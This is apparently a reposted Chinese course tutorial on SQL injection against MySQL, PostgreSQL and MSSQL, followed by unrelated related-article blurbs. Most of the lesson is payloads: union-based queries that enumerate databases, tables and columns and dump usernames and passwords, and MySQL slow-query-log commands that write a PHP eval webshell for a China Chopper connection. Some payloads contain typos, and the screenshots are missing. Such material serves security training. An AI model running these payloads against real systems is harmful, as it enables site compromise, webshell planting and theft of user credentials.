小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL

本文主要是介绍小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

 #知识点: 

1、SQL 注入-MYSQL 数据库 

2、SQL 注入-MSSQL(SQL server) 数据库 

3、SQL 注入-PostgreSQL 数据库 

#详细点: 

Access 无高权限注入点-只能猜解,还是暴力猜解 

         因为access的数据库是独立存在的,不存在统一管理

对账号密码进行猜解,此时只是获取到后台的操作权限,若要获取到服务器或网站等高级权限,需要进一步的提权操作

 

MYSQL,PostgreSQL,MSSQL 高权限注入点-可升级读写执行等 

 

 

操作一:MYSQL——root高权限读写注入

通过mysql对本地文件的读取:一般读取相关敏感文件

4845a8a1b8714250bb433a13432b65f7.png

 对本地文件的写

418165f821d24958a81df8139f6a53b9.png

419d533c0da6482f83f58e38bbf1090f.png 

 1bcf885d855a48ebb7076bf1d5127062.png

 那么对于读写文件针对的则是敏感文件,敏感文件的获取:

1.Phpinfo

5a37c6f61b13427593d8bd9013a57380.png

698aa9c351024b6a8fb81cd82d878b85.png 

 2.报错

e987e2a3684a4b3ca96850ee42b4bdc9.png

acd2981c7ee74b808af8f9eea62a23a7.png 

连接菜刀,登入后台


3.字典
不知道路径。就不断爆破虚构路径

 

无法写入——配置讲解:
My.ini:

4928ea794e5047a2a26631be244f4ca3.png—对路径进行操作限制,只能访问到值以内的路径

 

突破:注入需要支持SQL环境,若没有则使用第三方phpmyadmin或能够直接连上对方数据库进行绕过

 

1.利用SQL语句,开启漫游日志:

Set global slow_query_log=1;——开启日志

Set global slow_query_log_file=’shell路径’;——令日志内容写入知指定路径

Select ‘<?php eval()$_GET[A]?>’ or Slepp(10);——在指定文键中写入paylioad,菜刀后台连接

 

2.进入phpmyadmin:进行修改

 

操作二:PostgreSQL-高权限读写注入

SQL手工注入漏洞测试PostgreSQL数据库:在工具不行的情况下,进行手工注入

-测列数: 

order by 4 

and 1=2 union select null,null,null,null 

-测显位:第 2,3 

and 1=2 union select 'null',null,null,null 错误 

and 1=2 union select null,'null',null,null 正常 

and 1=2 union select null,null,'null',null 正常 

and 1=2 union select null,null,null,'null' 错误 

 

-获取信息: 

and 1=2 UNION SELECT null,version(),null,null 

and 1=2 UNION SELECT null,current_user,null,null 

and 1=2 union select null,current_database(),null,null 

 

-获取数据库名: 

and 1=2 union select null,string_agg(datname,','),null,null from 

pg_database 

 

-获取表名: 

and 1=2 union select null,string_agg(tablename,','),null,null 

from pg_tables where schemaname='public' 

and 1=2 union select null,string_agg(relname,','),null,null 

from pg_stat_user_tables 

 

-获取列名: 

and 1=2 union select null,string_agg(column_name,','),null,null 

from information_schema.columns where table_name='reg_users' 

-获取数据: 

and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users  

 

-查询高级用户

and 1=2 union select null,string_agg(username,’,’),null,null from pg_user where usesuper IS TRuE  

 

高级权限文件读写操作——参考:https://www.freebuf.com/sectool/24937.heml

 

操作三:mssql-高级权限文件修改

 

判断注入点:点击链接 

判断注入类型:看看是整型还是字符型(and 1=1、and 1=2) 

判断列数:order by n 

判断显示位:union all select NULL,NULL...... 

爆数据库:?id=2 and 1=2 union all select 1,db_name(),'3',4 

爆表:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4 

爆字段:?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4 8、MD5解密 

9、登录,获取KEY

 

 

这篇关于小迪安全25WEB 攻防-通用漏洞SQL 读写注入MYSQLMSSQLPostgreSQL的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/722649

相关文章

SpringBoot实现数据库读写分离的3种方法小结

《SpringBoot实现数据库读写分离的3种方法小结》为了提高系统的读写性能和可用性,读写分离是一种经典的数据库架构模式,在SpringBoot应用中,有多种方式可以实现数据库读写分离,本文将介绍三... 目录一、数据库读写分离概述二、方案一:基于AbstractRoutingDataSource实现动态

MySQL双主搭建+keepalived高可用的实现

《MySQL双主搭建+keepalived高可用的实现》本文主要介绍了MySQL双主搭建+keepalived高可用的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,... 目录一、测试环境准备二、主从搭建1.创建复制用户2.创建复制关系3.开启复制,确认复制是否成功4.同

MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)

《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感... 目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL?1.2 动态SQL的优点1.3 动态S

Mysql表的简单操作(基本技能)

《Mysql表的简单操作(基本技能)》在数据库中,表的操作主要包括表的创建、查看、修改、删除等,了解如何操作这些表是数据库管理和开发的基本技能,本文给大家介绍Mysql表的简单操作,感兴趣的朋友一起看... 目录3.1 创建表 3.2 查看表结构3.3 修改表3.4 实践案例:修改表在数据库中,表的操作主要

mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法

《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现... 目录前言:第一步:第二步:第三步:总结:前言:当你想通过命令窗口想打开mysql时候发现提http://www.cpp

MySQL大表数据的分区与分库分表的实现

《MySQL大表数据的分区与分库分表的实现》数据库的分区和分库分表是两种常用的技术方案,本文主要介绍了MySQL大表数据的分区与分库分表的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录1. mysql大表数据的分区1.1 什么是分区?1.2 分区的类型1.3 分区的优点1.4 分

MySQL错误代码2058和2059的解决办法

《MySQL错误代码2058和2059的解决办法》:本文主要介绍MySQL错误代码2058和2059的解决办法,2058和2059的错误码核心都是你用的客户端工具和mysql版本的密码插件不匹配,... 目录1. 前置理解2.报错现象3.解决办法(敲重点!!!)1. php前置理解2058和2059的错误

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

MySQL Workbench 安装教程(保姆级)

《MySQLWorkbench安装教程(保姆级)》MySQLWorkbench是一款强大的数据库设计和管理工具,本文主要介绍了MySQLWorkbench安装教程,文中通过图文介绍的非常详细,对大... 目录前言:详细步骤:一、检查安装的数据库版本二、在官网下载对应的mysql Workbench版本,要是